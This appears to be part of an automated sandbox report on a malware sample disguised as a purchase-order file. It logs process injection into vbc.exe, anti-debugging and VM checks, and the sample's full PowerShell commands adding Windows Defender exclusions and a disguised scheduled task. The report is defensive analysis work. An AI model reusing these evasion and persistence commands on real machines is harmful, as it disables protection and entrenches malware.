Source: Spectrum.exe, 0000001B.00000003.1444015317.000000000065A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware VMCI Bus Devicesdevicedesc%;VMware VMCI Bus Device
Source: Spectrum.exe, 0000001B.00000003.1444015317.000000000063E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft Hyper-V Generation Countersc%;Microsoft Hyper-V Generation Counter\
Source: Spectrum.exe, 0000001B.00000003.1442834952.000000000062F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft Basic Display Driverkname%;Microsoft Basic Display Driverosoft Hyper-V Gener
Source: SensorDataService.exe, 00000019.00000003.1431266016.000000000055E000.00000004.00000020.00020000.00000000.sdmp, Spectrum.exe, 0000001B.00000003.1442834952.000000000062F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft Hyper-V Generation Countersc%;Microsoft Hyper-V Generation Counter
Source: AppVClient.exe, 0000000F.00000003.1402614844.0000000000550000.00000004.00000020.00020000.00000000.sdmp, AppVClient.exe, 0000000F.00000002.1403223081.000000000056E000.00000004.00000020.00020000.00000000.sdmp, AppVClient.exe, 0000000F.00000003.1402678846.0000000000557000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: appv:SoftwareClients/appv:JavaVirtualMachineS
Source: Spectrum.exe, 0000001B.00000003.1444015317.000000000062F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: JVMware Virtual disk SCSI Disk Device

Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Code function: 9_2_004A95E4 rdtsc

9_2_004A95E4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Code function: 42_2_00D51361 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

42_2_00D51361

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 42_2_00483594 mov eax, dword ptr fs:[00000030h]	42_2_00483594
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 42_2_00D11130 mov eax, dword ptr fs:[00000030h]	42_2_00D11130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 42_2_00D53F3D mov eax, dword ptr fs:[00000030h]	42_2_00D53F3D

Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Process token adjusted: Debug

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 42_2_00D51361 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		42_2_00D51361
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 42_2_00D54C7B SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		42_2_00D54C7B

Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe"
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe"
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe"	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe"	Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 400000 protect: page execute and read and write			Jump to behavior
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 400000 protect: page execute and read and write

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	NtOpenKeyEx: Indirect: 0x140077B9B
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	NtQueryValueKey: Indirect: 0x140077C9F
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	NtClose: Indirect: 0x140077E81

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 41B000	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 422000	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 426000	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 624008	Jump to behavior
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 400000
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 401000
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 41B000
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 422000
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 426000
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 910008

Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe"	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe"	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\YRtQgzFlDnVSru" /XML "C:\Users\user\AppData\Local\Temp\tmpE707.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\YRtQgzFlDnVSru" /XML "C:\Users\user\AppData\Local\Temp\tmp15E7.tmp"
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Code function: 9_2_00F68550 GetVolumeInformationW,GetLastError,GetLastError,GetUserNameW,GetLastError,GetLastError,GetUserNameW,LocalFree,AllocateAndInitializeSid,wsprintfW,SetEntriesInAclW,GetLastError,OpenMutexW,

9_2_00F68550

Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Queries volume information: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
